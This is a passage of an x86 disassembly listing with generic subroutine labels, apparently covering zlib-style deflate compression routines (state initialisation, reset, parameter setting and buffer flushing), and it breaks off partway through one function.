08065828   c7 45 e4 00 00 00 00     movl   $0x0,0xffffffe4(%ebp)    ;0 'x0 x0 x0 x0' ""
0806582f   74 0a                    je     0806583b <Unknown0382+0x3f>
08065831   80 38 31                 cmpb   $0x31,(%eax)
08065834   75 05                    jne    0806583b <Unknown0382+0x3f>
08065836   83 fa 38                 cmp    $0x38,%edx
08065839   74 0d                    je     08065848 <Unknown0382+0x4c>
0806583b   b8 fa ff ff ff           mov    $0xfffffffa,%eax   ;-6 'xfa xff xff xff' ""
08065840   e9 cb 01 00 00           jmp    08065a10 <Unknown0382+0x214>  ;459 'xcb x1 x0 x0' ""
08065845   8d 76 00                 lea    0x0(%esi),%esi
08065848   85 ff                    test   %edi,%edi
0806584a   b8 fe ff ff ff           mov    $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
0806584f   0f 84 bb 01 00 00        je     08065a10 <Unknown0382+0x214>  ;443 'xbb x1 x0 x0' ""
08065855   8b 57 20                 mov    0x20(%edi),%edx
08065858   85 d2                    test   %edx,%edx
0806585a   c7 47 18 00 00 00 00     movl   $0x0,0x18(%edi)    ;0 'x0 x0 x0 x0' ""
08065861   75 0e                    jne    08065871 <Unknown0382+0x75>
08065863   c7 47 20 d8 88 06 08     movl   $0x80688d8,0x20(%edi)   ;0 'x0 x0 x0 x0' ""
0806586a   c7 47 28 00 00 00 00     movl   $0x0,0x28(%edi)    ;0 'x0 x0 x0 x0' ""
08065871   8b 47 24                 mov    0x24(%edi),%eax
08065874   85 c0                    test   %eax,%eax
08065876   75 07                    jne    0806587f <Unknown0382+0x83>
08065878   c7 47 24 f0 88 06 08     movl   $0x80688f0,0x24(%edi)   ;0 'x0 x0 x0 x0' ""
0806587f   83 7d f0 ff              cmpl   $0xffffffff,0xfffffff0(%ebp)
08065883   75 07                    jne    0806588c <Unknown0382+0x90>
08065885   c7 45 f0 06 00 00 00     movl   $0x6,0xfffffff0(%ebp)   ;6 'x6 x0 x0 x0' ""
0806588c   85 db                    test   %ebx,%ebx
0806588e   79 09                    jns    08065899 <Unknown0382+0x9d>
08065890   c7 45 e4 01 00 00 00     movl   $0x1,0xffffffe4(%ebp)   ;1 'x1 x0 x0 x0' ""
08065897   f7 db                    neg    %ebx
08065899   8b 45 ec                 mov    0xffffffec(%ebp),%eax
0806589c   48                       dec    %eax
0806589d   83 f8 08                 cmp    $0x8,%eax
080658a0   77 29                    ja     080658cb <Unknown0382+0xcf>
080658a2   83 f9 08                 cmp    $0x8,%ecx
080658a5   75 24                    jne    080658cb <Unknown0382+0xcf>
080658a7   83 fb 07                 cmp    $0x7,%ebx
080658aa   7e 1f                    jle    080658cb <Unknown0382+0xcf>
080658ac   83 fb 0f                 cmp    $0xf,%ebx
080658af   7f 1a                    jg     080658cb <Unknown0382+0xcf>
080658b1   8b 75 f0                 mov    0xfffffff0(%ebp),%esi
080658b4   85 f6                    test   %esi,%esi
080658b6   78 13                    js     080658cb <Unknown0382+0xcf>
080658b8   83 7d f0 09              cmpl   $0x9,0xfffffff0(%ebp)
080658bc   7f 0d                    jg     080658cb <Unknown0382+0xcf>
080658be   8b 4d e8                 mov    0xffffffe8(%ebp),%ecx
080658c1   85 c9                    test   %ecx,%ecx
080658c3   78 06                    js     080658cb <Unknown0382+0xcf>
080658c5   83 7d e8 02              cmpl   $0x2,0xffffffe8(%ebp)
080658c9   7e 0d                    jle    080658d8 <Unknown0382+0xdc>
080658cb   b8 fe ff ff ff           mov    $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
080658d0   e9 3b 01 00 00           jmp    08065a10 <Unknown0382+0x214>  ;315 'x3b x1 x0 x0' ";"
080658d5   8d 76 00                 lea    0x0(%esi),%esi
080658d8   52                       push   %edx
080658d9   68 b8 16 00 00           push   $0x16b8   ;5816 'xb8 x16 x0 x0' ""
080658de   6a 01                    push   $0x1
080658e0   ff 77 28                 pushl  0x28(%edi)
080658e3   ff 57 20                 call   *0x20(%edi)
080658e6   89 c6                    mov    %eax,%esi
080658e8   83 c4 10                 add    $0x10,%esp
080658eb   85 f6                    test   %esi,%esi
080658ed   b8 fc ff ff ff           mov    $0xfffffffc,%eax   ;-4 'xfc xff xff xff' ""
080658f2   0f 84 18 01 00 00        je     08065a10 <Unknown0382+0x214>  ;280 'x18 x1 x0 x0' ""
080658f8   89 77 1c                 mov    %esi,0x1c(%edi)
080658fb   89 3e                    mov    %edi,(%esi)
080658fd   8b 4d e4                 mov    0xffffffe4(%ebp),%ecx
08065900   89 4e 14                 mov    %ecx,0x14(%esi)
08065903   b8 01 00 00 00           mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08065908   88 d9                    mov    %bl,%cl
0806590a   d3 e0                    shl    %cl,%eax
0806590c   89 46 20                 mov    %eax,0x20(%esi)
```

```
0806590f   48                      dec     %eax
08065910   89 5e 24                mov     %ebx,0x24(%esi)
08065913   89 46 28                mov     %eax,0x28(%esi)
08065916   8b 4d ec                mov     0xffffffec(%ebp),%ecx
08065919   83 c1 07                add     $0x7,%ecx
0806591c   b8 01 00 00 00          mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
08065921   d3 e0                   shl     %cl,%eax
08065923   89 46 40                mov     %eax,0x40(%esi)
08065926   48                      dec     %eax
08065927   89 4e 44                mov     %ecx,0x44(%esi)
0806592a   89 46 48                mov     %eax,0x48(%esi)
0806592d   8b 55 ec                mov     0xffffffec(%ebp),%edx
08065930   b9 ab aa aa aa          mov     $0xaaaaaaab,%ecx   ;-1431655765 'xab xaa xaa xaa' ""
08065935   89 c8                   mov     %ecx,%eax
08065937   83 c2 09                add     $0x9,%edx
0806593a   f7 e2                   mul     %edx
0806593c   d1 ea                   shr     %edx
0806593e   89 56 4c                mov     %edx,0x4c(%esi)
08065941   50                      push    %eax
08065942   6a 02                   push    $0x2
08065944   ff 76 20                pushl   0x20(%esi)
08065947   ff 77 28                pushl   0x28(%edi)
0806594a   ff 57 20                call    *0x20(%edi)
0806594d   83 c4 0c                add     $0xc,%esp
08065950   89 46 2c                mov     %eax,0x2c(%esi)
08065953   6a 02                   push    $0x2
08065955   ff 76 20                pushl   0x20(%esi)
08065958   ff 77 28                pushl   0x28(%edi)
0806595b   ff 57 20                call    *0x20(%edi)
0806595e   83 c4 0c                add     $0xc,%esp
08065961   89 46 34                mov     %eax,0x34(%esi)
08065964   6a 02                   push    $0x2
08065966   ff 76 40                pushl   0x40(%esi)
08065969   ff 77 28                pushl   0x28(%edi)
0806596c   ff 57 20                call    *0x20(%edi)
0806596f   89 46 38                mov     %eax,0x38(%esi)
08065972   8b 4d ec                mov     0xffffffec(%ebp),%ecx
08065975   c7 45 e0 01 00 00 00    movl    $0x1,0xffffffe0(%ebp)   ;1 'x1 x0 x0 x0' ""
0806597c   83 c1 06                add     $0x6,%ecx
0806597f   d3 65 e0                shll    %cl,0xffffffe0(%ebp)
08065982   8b 4d e0                mov     0xffffffe0(%ebp),%ecx
08065985   83 c4 0c                add     $0xc,%esp
08065988   89 8e 90 16 00 00       mov     %ecx,0x1690(%esi)   ;5776 'x90 x16 x0 x0' ""
0806598e   6a 04                   push    $0x4
08065990   51                      push    %ecx
08065991   ff 77 28                pushl   0x28(%edi)
08065994   ff 57 20                call    *0x20(%edi)
08065997   8b 5e 2c                mov     0x2c(%esi),%ebx
0806599a   89 c1                   mov     %eax,%ecx
0806599c   83 c4 10                add     $0x10,%esp
0806599f   85 db                   test    %ebx,%ebx
080659a1   89 4e 08                mov     %ecx,0x8(%esi)
080659a4   74 12                   je      080659b8 <Unknown0382+0x1bc>
080659a6   8b 56 34                mov     0x34(%esi),%edx
080659a9   85 d2                   test    %edx,%edx
080659ab   74 0b                   je      080659b8 <Unknown0382+0x1bc>
080659ad   8b 46 38                mov     0x38(%esi),%eax
080659b0   85 c0                   test    %eax,%eax
080659b2   74 04                   je      080659b8 <Unknown0382+0x1bc>
080659b4   85 c9                   test    %ecx,%ecx
080659b6   75 18                   jne     080659d0 <Unknown0382+0x1d4>
080659b8   a1 b8 95 07 08          mov     0x80795b8,%eax   ;[in .data] 134703106 'x2 x68 x7 x8' ""
080659bd   83 ec 0c                sub     $0xc,%esp
080659c0   89 47 18                mov     %eax,0x18(%edi)
080659c3   57                      push    %edi
080659c4   e8 af 05 00 00          call    08065f78 <Unknown0389>
080659c9   b8 fc ff ff ff          mov     $0xfffffffc,%eax   ;-4 'xfc xff xff xff' ""
080659ce   eb 40                   jmp     08065a10 <Unknown0382+0x214>
080659d0   8b 96 90 16 00 00       mov     0x1690(%esi),%edx   ;5776 'x90 x16 x0 x0' ""
080659d6   89 d0                   mov     %edx,%eax
080659d8   83 e0 fe                and     $0xfffffffe,%eax
080659db   8d 14 52                lea     (%edx,%edx,2),%edx
080659de   8d 04 08                lea     (%eax,%ecx,1),%eax
080659e1   8d 14 0a                lea     (%edx,%ecx,1),%edx
080659e4   89 86 98 16 00 00       mov     %eax,0x1698(%esi)   ;5784 'x98 x16 x0 x0' ""
080659ea   89 96 8c 16 00 00       mov     %edx,0x168c(%esi)   ;5772 'x8c x16 x0 x0' ""
080659f0   8b 45 f0                mov     0xfffffff0(%ebp),%eax
080659f3   89 46 78                mov     %eax,0x78(%esi)
080659f6   8b 4d e8                mov     0xffffffe8(%ebp),%ecx
080659f9   89 4e 7c                mov     %ecx,0x7c(%esi)
080659fc   c6 46 19 08             movb    $0x8,0x19(%esi)
08065a00   89 7d 08                mov     %edi,0x8(%ebp)
08065a03   8d 65 f4                lea     0xfffffff4(%ebp),%esp
08065a06   5b                      pop     %ebx
```

```
08065a07  5e                        pop     %esi
08065a08  5f                        pop     %edi
08065a09  5d                        pop     %ebp
08065a0a  e9 21 01 00 00            jmp     08065b30 <Unknown0384>   ;289 'x21 x1 x0 x0' "!"
08065a0f  90                        nop
08065a10  8d 65 f4                  lea     0xfffffff4(%ebp),%esp
08065a13  5b                        pop     %ebx
08065a14  5e                        pop     %esi
08065a15  5f                        pop     %edi
08065a16  5d                        pop     %ebp
08065a17  c3                        ret


  ;
  ; >--------------------<  Subroutine # 383 >---------------------<
  ;
08065a18 <Unknown0383>:
08065a18  55                        push    %ebp
08065a19  89 e5                     mov     %esp,%ebp
08065a1b  57                        push    %edi
08065a1c  56                        push    %esi
08065a1d  53                        push    %ebx
08065a1e  83 ec 2c                  sub     $0x2c,%esp
08065a21  8b 55 08                  mov     0x8(%ebp),%edx
08065a24  8b 45 10                  mov     0x10(%ebp),%eax
08065a27  85 d2                     test    %edx,%edx
08065a29  8b 5d 0c                  mov     0xc(%ebp),%ebx
08065a2c  89 45 f0                  mov     %eax,0xfffffff0(%ebp)
08065a2f  89 c7                     mov     %eax,%edi
08065a31  74 14                     je      08065a47 <Unknown0383+0x2f>
08065a33  8b 55 08                  mov     0x8(%ebp),%edx
08065a36  8b 72 1c                  mov     0x1c(%edx),%esi
08065a39  85 f6                     test    %esi,%esi
08065a3b  74 0a                     je      08065a47 <Unknown0383+0x2f>
08065a3d  85 db                     test    %ebx,%ebx
08065a3f  74 06                     je      08065a47 <Unknown0383+0x2f>
08065a41  83 7e 04 2a               cmpl    $0x2a,0x4(%esi)
08065a45  74 0d                     je      08065a54 <Unknown0383+0x3c>
08065a47  b8 fe ff ff ff            mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08065a4c  e9 d5 00 00 00            jmp     08065b26 <Unknown0383+0x10e>  ;213 'xd5 x0 x0 x0' ""
08065a51  8d 76 00                  lea     0x0(%esi),%esi
08065a54  50                        push    %eax
08065a55  ff 75 f0                  pushl   0xfffffff0(%ebp)
08065a58  53                        push    %ebx
08065a59  8b 4d 08                  mov     0x8(%ebp),%ecx
08065a5c  ff 71 30                  pushl   0x30(%ecx)
08065a5f  e8 e0 59 00 00            call    0806b444 <Unknown0451>
08065a64  8b 55 08                  mov     0x8(%ebp),%edx
08065a67  89 42 30                  mov     %eax,0x30(%edx)
08065a6a  83 c4 10                  add     $0x10,%esp
08065a6d  83 7d f0 02               cmpl    $0x2,0xfffffff0(%ebp)
08065a71  0f 86 ad 00 00 00         jbe     08065b24 <Unknown0383+0x10c>  ;173 'xad x0 x0 x0' ""
08065a77  8b 46 20                  mov     0x20(%esi),%eax
08065a7a  2d 06 01 00 00            sub     $0x106,%eax   ;262 'x6 x1 x0 x0' ""
08065a7f  39 45 f0                  cmp     %eax,0xfffffff0(%ebp)
08065a82  76 07                     jbe     08065a8b <Unknown0383+0x73>
08065a84  29 c7                     sub     %eax,%edi
08065a86  89 45 f0                  mov     %eax,0xfffffff0(%ebp)
08065a89  01 fb                     add     %edi,%ebx
08065a8b  51                        push    %ecx
08065a8c  ff 75 f0                  pushl   0xfffffff0(%ebp)
08065a8f  53                        push    %ebx
08065a90  ff 76 2c                  pushl   0x2c(%esi)
08065a93  e8 a4 47 fe ff            call    0804a23c <memcpy>
08065a98  8b 4d f0                  mov     0xfffffff0(%ebp),%ecx
08065a9b  89 4e 60                  mov     %ecx,0x60(%esi)
08065a9e  89 4e 50                  mov     %ecx,0x50(%esi)
08065aa1  8b 5e 2c                  mov     0x2c(%esi),%ebx
08065aa4  0f b6 03                  movzbl  (%ebx),%eax
08065aa7  8b 5e 4c                  mov     0x4c(%esi),%ebx
08065aaa  88 d9                     mov     %bl,%cl
08065aac  89 46 3c                  mov     %eax,0x3c(%esi)
08065aaf  d3 e0                     shl     %cl,%eax
08065ab1  8b 4e 2c                  mov     0x2c(%esi),%ecx
08065ab4  0f b6 51 01               movzbl  0x1(%ecx),%edx
08065ab8  31 d0                     xor     %edx,%eax
08065aba  8b 56 48                  mov     0x48(%esi),%edx
08065abd  21 d0                     and     %edx,%eax
08065abf  89 46 3c                  mov     %eax,0x3c(%esi)
08065ac2  8b 45 f0                  mov     0xfffffff0(%ebp),%eax
08065ac5  83 e8 03                  sub     $0x3,%eax
08065ac8  89 45 d8                  mov     %eax,0xffffffd8(%ebp)
08065acb  89 5d ec                  mov     %ebx,0xffffffec(%ebp)
08065ace  89 4d e8                  mov     %ecx,0xffffffe8(%ebp)
```

```
08065ad1  89 55 e4              mov     %edx,0xffffffe4(%ebp)
08065ad4  8b 46 28              mov     0x28(%esi),%eax
08065ad7  89 45 e0              mov     %eax,0xffffffe0(%ebp)
08065ada  8b 46 34              mov     0x34(%esi),%eax
08065add  89 45 dc              mov     %eax,0xffffffdc(%ebp)
08065ae0  8b 46 38              mov     0x38(%esi),%eax
08065ae3  31 ff                 xor     %edi,%edi
08065ae5  83 c4 10              add     $0x10,%esp
08065ae8  89 45 d0              mov     %eax,0xffffffd0(%ebp)
08065aeb  90                    nop
08065aec  8a 4d ec              mov     0xffffffec(%ebp),%cl
08065aef  8b 5d e8              mov     0xffffffe8(%ebp),%ebx
08065af2  8b 46 3c              mov     0x3c(%esi),%eax
08065af5  0f b6 54 1f 02        movzbl  0x2(%edi,%ebx,1),%edx
08065afa  d3 e0                 shl     %cl,%eax
08065afc  31 d0                 xor     %edx,%eax
08065afe  23 45 e4              and     0xffffffe4(%ebp),%eax
08065b01  89 46 3c              mov     %eax,0x3c(%esi)
08065b04  8b 4d d0              mov     0xffffffd0(%ebp),%ecx
08065b07  89 fa                 mov     %edi,%edx
08065b09  23 55 e0              and     0xffffffe0(%ebp),%edx
08065b0c  0f b7 0c 41           movzwl  (%ecx,%eax,2),%ecx
08065b10  8b 5d dc              mov     0xffffffdc(%ebp),%ebx
08065b13  66 89 0c 53          mov     %cx,(%ebx,%edx,2)
08065b17  8b 55 d0              mov     0xffffffd0(%ebp),%edx
08065b1a  66 89 3c 42          mov     %di,(%edx,%eax,2)
08065b1e  47                    inc     %edi
08065b1f  3b 7d d8              cmp     0xffffffd8(%ebp),%edi
08065b22  76 c8                 jbe     08065aec <Unknown0383+0xd4>
08065b24  31 c0                 xor     %eax,%eax
08065b26  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08065b29  5b                    pop     %ebx
08065b2a  5e                    pop     %esi
08065b2b  5f                    pop     %edi
08065b2c  5d                    pop     %ebp
08065b2d  c3                    ret
08065b2e  89 f6                 mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 384 >---------------------<
   ;
08065b30 <Unknown0384>:
08065b30  55                    push    %ebp
08065b31  89 e5                 mov     %esp,%ebp
08065b33  53                    push    %ebx
08065b34  52                    push    %edx
08065b35  8b 55 08              mov     0x8(%ebp),%edx
08065b38  85 d2                 test    %edx,%edx
08065b3a  74 15                 je      08065b51 <Unknown0384+0x21>
08065b3c  8b 5a 1c              mov     0x1c(%edx),%ebx
08065b3f  85 db                 test    %ebx,%ebx
08065b41  74 0e                 je      08065b51 <Unknown0384+0x21>
08065b43  8b 42 20              mov     0x20(%edx),%eax
08065b46  85 c0                 test    %eax,%eax
08065b48  74 07                 je      08065b51 <Unknown0384+0x21>
08065b4a  8b 4a 24              mov     0x24(%edx),%ecx
08065b4d  85 c9                 test    %ecx,%ecx
08065b4f  75 07                 jne     08065b58 <Unknown0384+0x28>
08065b51  b8 fe ff ff ff        mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08065b56  eb 6c                 jmp     08065bc4 <Unknown0384+0x94>
08065b58  c7 42 2c 02 00 00 00  movl    $0x2,0x2c(%edx)    ;2 'x2 x0 x0 x0' ""
08065b5f  8b 43 08              mov     0x8(%ebx),%eax
08065b62  89 43 0c              mov     %eax,0xc(%ebx)
08065b65  8b 43 14              mov     0x14(%ebx),%eax
08065b68  85 c0                 test    %eax,%eax
08065b6a  c7 42 14 00 00 00 00  movl    $0x0,0x14(%edx)    ;0 'x0 x0 x0 x0' ""
08065b71  c7 42 08 00 00 00 00  movl    $0x0,0x8(%edx)     ;0 'x0 x0 x0 x0' ""
08065b78  c7 42 18 00 00 00 00  movl    $0x0,0x18(%edx)    ;0 'x0 x0 x0 x0' ""
08065b7f  c7 43 10 00 00 00 00  movl    $0x0,0x10(%ebx)    ;0 'x0 x0 x0 x0' ""
08065b86  79 07                 jns     08065b8f <Unknown0384+0x5f>
08065b88  c7 43 14 00 00 00 00  movl    $0x0,0x14(%ebx)    ;0 'x0 x0 x0 x0' ""
08065b8f  8b 4b 14              mov     0x14(%ebx),%ecx
08065b92  31 c0                 xor     %eax,%eax
08065b94  85 c9                 test    %ecx,%ecx
08065b96  0f 95 c0              setne   %al
08065b99  48                    dec     %eax
08065b9a  83 e0 b9              and     $0xffffffb9,%eax
08065b9d  83 c0 71              add     $0x71,%eax
08065ba0  89 43 04              mov     %eax,0x4(%ebx)
08065ba3  83 ec 0c              sub     $0xc,%esp
08065ba6  c7 42 30 01 00 00 00  movl    $0x1,0x30(%edx)    ;1 'x1 x0 x0 x0' ""
08065bad  c7 43 1c 00 00 00 00  movl    $0x0,0x1c(%ebx)    ;0 'x0 x0 x0 x0' ""
08065bb4  53                    push    %ebx
```

```
08065bb5  e8 8e 10 00 00        call    08066c48 <Unknown0399>
08065bba  89 1c 24              mov     %ebx,(%esp,1)
08065bbd  e8 ea 04 00 00        call    080660ac <Unknown0392>
08065bc2  31 c0                 xor     %eax,%eax
08065bc4  8b 5d fc              mov     0xfffffffc(%ebp),%ebx
08065bc7  c9                    leave
08065bc8  c3                    ret
08065bc9  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 385 >---------------------<
  ;
08065bcc <Unknown0385>:
08065bcc  55                    push    %ebp
08065bcd  89 e5                 mov     %esp,%ebp
08065bcf  57                    push    %edi
08065bd0  56                    push    %esi
08065bd1  53                    push    %ebx
08065bd2  83 ec 0c              sub     $0xc,%esp
08065bd5  8b 7d 08              mov     0x8(%ebp),%edi
08065bd8  85 ff                 test    %edi,%edi
08065bda  8b 5d 0c              mov     0xc(%ebp),%ebx
08065bdd  c7 45 f0 00 00 00 00  movl    $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08065be4  74 23                 je      08065c09 <Unknown0385+0x3d>
08065be6  8b 77 1c              mov     0x1c(%edi),%esi
08065be9  85 f6                 test    %esi,%esi
08065beb  74 1c                 je      08065c09 <Unknown0385+0x3d>
08065bed  83 fb ff              cmp     $0xffffffff,%ebx
08065bf0  75 05                 jne     08065bf7 <Unknown0385+0x2b>
08065bf2  bb 06 00 00 00        mov     $0x6,%ebx  ;6 'x6 x0 x0 x0' ""
08065bf7  83 fb 09              cmp     $0x9,%ebx
08065bfa  77 0d                 ja      08065c09 <Unknown0385+0x3d>
08065bfc  8b 55 10              mov     0x10(%ebp),%edx
08065bff  85 d2                 test    %edx,%edx
08065c01  78 06                 js      08065c09 <Unknown0385+0x3d>
08065c03  83 7d 10 02           cmpl    $0x2,0x10(%ebp)
08065c07  7e 07                 jle     08065c10 <Unknown0385+0x44>
08065c09  b8 fe ff ff ff        mov     $0xfffffffe,%eax  ;-2 'xfe xff xff xff' ""
08065c0e  eb 74                 jmp     08065c84 <Unknown0385+0xb8>
08065c10  8b 4e 78              mov     0x78(%esi),%ecx
08065c13  8d 04 49              lea     (%ecx,%ecx,2),%eax
08065c16  8d 14 5b              lea     (%ebx,%ebx,2),%edx
08065c19  8b 04 85 88 93 07 08  mov     0x8079388(,%eax,4),%eax  ;[in .data] 134636532 'xf4 x63 x6 x8' ""
08065c20  3b 04 95 88 93 07 08  cmp     0x8079388(,%edx,4),%eax  ;[in .data] 134636532 'xf4 x63 x6 x8' ""
08065c27  74 1b                 je      08065c44 <Unknown0385+0x78>
08065c29  8b 47 08              mov     0x8(%edi),%eax
08065c2c  85 c0                 test    %eax,%eax
08065c2e  74 14                 je      08065c44 <Unknown0385+0x78>
08065c30  83 ec 08              sub     $0x8,%esp
08065c33  6a 01                 push    $0x1
08065c35  57                    push    %edi
08065c36  e8 d5 00 00 00        call    08065d10 <Unknown0388>
08065c3b  89 45 f0              mov     %eax,0xfffffff0(%ebp)
08065c3e  83 c4 10              add     $0x10,%esp
08065c41  8b 4e 78              mov     0x78(%esi),%ecx
08065c44  39 d9                 cmp     %ebx,%ecx
08065c46  74 33                 je      08065c7b <Unknown0385+0xaf>
08065c48  8d 14 5b              lea     (%ebx,%ebx,2),%edx
08065c4b  c1 e2 02              shl     $0x2,%edx
08065c4e  b9 80 93 07 08        mov     $0x8079380,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08065c53  0f b7 44 0a 02        movzwl  0x2(%edx,%ecx,1),%eax
08065c58  89 46 74              mov     %eax,0x74(%esi)
08065c5b  0f b7 04 0a           movzwl  (%edx,%ecx,1),%eax
08065c5f  89 86 80 00 00 00     mov     %eax,0x80(%esi)  ;128 'x80 x0 x0 x0' ""
08065c65  0f b7 44 0a 04        movzwl  0x4(%edx,%ecx,1),%eax
08065c6a  89 86 84 00 00 00     mov     %eax,0x84(%esi)  ;132 'x84 x0 x0 x0' ""
08065c70  0f b7 44 0a 06        movzwl  0x6(%edx,%ecx,1),%eax
08065c75  89 5e 78              mov     %ebx,0x78(%esi)
08065c78  89 46 70              mov     %eax,0x70(%esi)
08065c7b  8b 45 10              mov     0x10(%ebp),%eax
08065c7e  89 46 7c              mov     %eax,0x7c(%esi)
08065c81  8b 45 f0              mov     0xfffffff0(%ebp),%eax
08065c84  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08065c87  5b                    pop     %ebx
08065c88  5e                    pop     %esi
08065c89  5f                    pop     %edi
08065c8a  5d                    pop     %ebp
08065c8b  c3                    ret


  ;
  ; >---------------------<  Subroutine # 386 >---------------------<
  ;
```

```
08065c8c <Unknown0386>:
08065c8c   55                      push    %ebp
08065c8d   89 e5                   mov     %esp,%ebp
08065c8f   8b 55 08                mov     0x8(%ebp),%edx
08065c92   53                      push    %ebx
08065c93   8b 45 0c                mov     0xc(%ebp),%eax
08065c96   8b 4a 10                mov     0x10(%edx),%ecx
08065c99   8b 5a 08                mov     0x8(%edx),%ebx
08065c9c   c1 e8 08                shr     $0x8,%eax
08065c9f   88 04 19                mov     %al,(%ecx,%ebx,1)
08065ca2   8b 4a 10                mov     0x10(%edx),%ecx
08065ca5   8a 5d 0c                mov     0xc(%ebp),%bl
08065ca8   41                      inc     %ecx
08065ca9   8b 42 08                mov     0x8(%edx),%eax
08065cac   89 4a 10                mov     %ecx,0x10(%edx)
08065caf   88 1c 01                mov     %bl,(%ecx,%eax,1)
08065cb2   ff 42 10                incl    0x10(%edx)
08065cb5   8b 1c 24                mov     (%esp,1),%ebx
08065cb8   c9                      leave
08065cb9   c3                      ret
08065cba   89 f6                   mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 387 >--------------------<
  ;
08065cbc <Unknown0387>:
08065cbc   55                      push    %ebp
08065cbd   89 e5                   mov     %esp,%ebp
08065cbf   56                      push    %esi
08065cc0   53                      push    %ebx
08065cc1   8b 75 08                mov     0x8(%ebp),%esi
08065cc4   8b 56 1c                mov     0x1c(%esi),%edx
08065cc7   8b 5a 10                mov     0x10(%edx),%ebx
08065cca   8b 46 10                mov     0x10(%esi),%eax
08065ccd   39 c3                   cmp     %eax,%ebx
08065ccf   76 02                   jbe     08065cd3 <Unknown0387+0x17>
08065cd1   89 c3                   mov     %eax,%ebx
08065cd3   85 db                   test    %ebx,%ebx
08065cd5   74 31                   je      08065d08 <Unknown0387+0x4c>
08065cd7   51                      push    %ecx
08065cd8   53                      push    %ebx
08065cd9   ff 72 0c                pushl   0xc(%edx)
08065cdc   ff 76 0c                pushl   0xc(%esi)
08065cdf   e8 58 45 fe ff          call    0804a23c <memcpy>
08065ce4   8b 56 1c                mov     0x1c(%esi),%edx
08065ce7   29 5e 10                sub     %ebx,0x10(%esi)
08065cea   8b 42 10                mov     0x10(%edx),%eax
08065ced   01 5e 0c                add     %ebx,0xc(%esi)
08065cf0   29 d8                   sub     %ebx,%eax
08065cf2   01 5a 0c                add     %ebx,0xc(%edx)
08065cf5   01 5e 14                add     %ebx,0x14(%esi)
08065cf8   83 c4 10                add     $0x10,%esp
08065cfb   85 c0                   test    %eax,%eax
08065cfd   89 42 10                mov     %eax,0x10(%edx)
08065d00   75 06                   jne     08065d08 <Unknown0387+0x4c>
08065d02   8b 42 08                mov     0x8(%edx),%eax
08065d05   89 42 0c                mov     %eax,0xc(%edx)
08065d08   8d 65 f8                lea     0xfffffff8(%ebp),%esp
08065d0b   5b                      pop     %ebx
08065d0c   5e                      pop     %esi
08065d0d   5d                      pop     %ebp
08065d0e   c3                      ret
08065d0f   90                      nop


  ;
  ; >--------------------< Subroutine # 388 >--------------------<
  ;
08065d10 <Unknown0388>:
08065d10   55                      push    %ebp
08065d11   89 e5                   mov     %esp,%ebp
08065d13   57                      push    %edi
08065d14   56                      push    %esi
08065d15   53                      push    %ebx
08065d16   83 ec 1c                sub     $0x1c,%esp
08065d19   8b 75 08                mov     0x8(%ebp),%esi
08065d1c   85 f6                   test    %esi,%esi
08065d1e   8b 7d 0c                mov     0xc(%ebp),%edi
08065d21   74 3a                   je      08065d5d <Unknown0388+0x4d>
08065d23   8b 5e 1c                mov     0x1c(%esi),%ebx
08065d26   85 db                   test    %ebx,%ebx
08065d28   74 33                   je      08065d5d <Unknown0388+0x4d>
08065d2a   83 ff 04                cmp     $0x4,%edi
```

```
08065d2d   7f 2e                  jg      08065d5d <Unknown0388+0x4d>
08065d2f   85 ff                  test    %edi,%edi
08065d31   78 2a                  js      08065d5d <Unknown0388+0x4d>
08065d33   8b 56 0c               mov     0xc(%esi),%edx
08065d36   85 d2                  test    %edx,%edx
08065d38   74 1b                  je      08065d55 <Unknown0388+0x45>
08065d3a   8b 06                  mov     (%esi),%eax
08065d3c   85 c0                  test    %eax,%eax
08065d3e   75 07                  jne     08065d47 <Unknown0388+0x37>
08065d40   8b 4e 04               mov     0x4(%esi),%ecx
08065d43   85 c9                  test    %ecx,%ecx
08065d45   75 0e                  jne     08065d55 <Unknown0388+0x45>
08065d47   81 7b 04 9a 02 00 00   cmpl    $0x29a,0x4(%ebx)   ;666 'x9a x2 x0 x0' ""
08065d4e   75 18                  jne     08065d68 <Unknown0388+0x58>
08065d50   83 ff 04               cmp     $0x4,%edi
08065d53   74 13                  je      08065d68 <Unknown0388+0x58>
08065d55   a1 b0 95 07 08         mov     0x80795b0,%eax   ;[in .data] 134703137 'x21 x68 x7 x8' "!h"
08065d5a   89 46 18               mov     %eax,0x18(%esi)
08065d5d   b8 fe ff ff ff         mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08065d62   e9 08 02 00 00         jmp     08065f6f <Unknown0388+0x25f>   ;520 'x8 x2 x0 x0' ""
08065d67   90                     nop
08065d68   8b 56 10               mov     0x10(%esi),%edx
08065d6b   85 d2                  test    %edx,%edx
08065d6d   0f 84 e3 00 00 00      je      08065e56 <Unknown0388+0x146>   ;227 'xe3 x0 x0 x0' ""
08065d73   8b 43 1c               mov     0x1c(%ebx),%eax
08065d76   89 33                  mov     %esi,(%ebx)
08065d78   89 45 f0               mov     %eax,0xfffffff0(%ebp)
08065d7b   83 7b 04 2a            cmpl    $0x2a,0x4(%ebx)
08065d7f   89 7b 1c               mov     %edi,0x1c(%ebx)
08065d82   0f 85 86 00 00 00      jne     08065e0e <Unknown0388+0xfe>   ;134 'x86 x0 x0 x0' ""
08065d88   8b 43 24               mov     0x24(%ebx),%eax
08065d8b   83 e8 08               sub     $0x8,%eax
08065d8e   c1 e0 0c               shl     $0xc,%eax
08065d91   05 00 08 00 00         add     $0x800,%eax   ;2048 'x0 x8 x0 x0' ""
08065d96   89 45 e4               mov     %eax,0xffffffe4(%ebp)
08065d99   8b 43 78               mov     0x78(%ebx),%eax
08065d9c   48                     dec     %eax
08065d9d   d1 f8                  sar     %eax
08065d9f   83 f8 03               cmp     $0x3,%eax
08065da2   76 05                  jbe     08065da9 <Unknown0388+0x99>
08065da4   b8 03 00 00 00         mov     $0x3,%eax   ;3 'x3 x0 x0 x0' ""
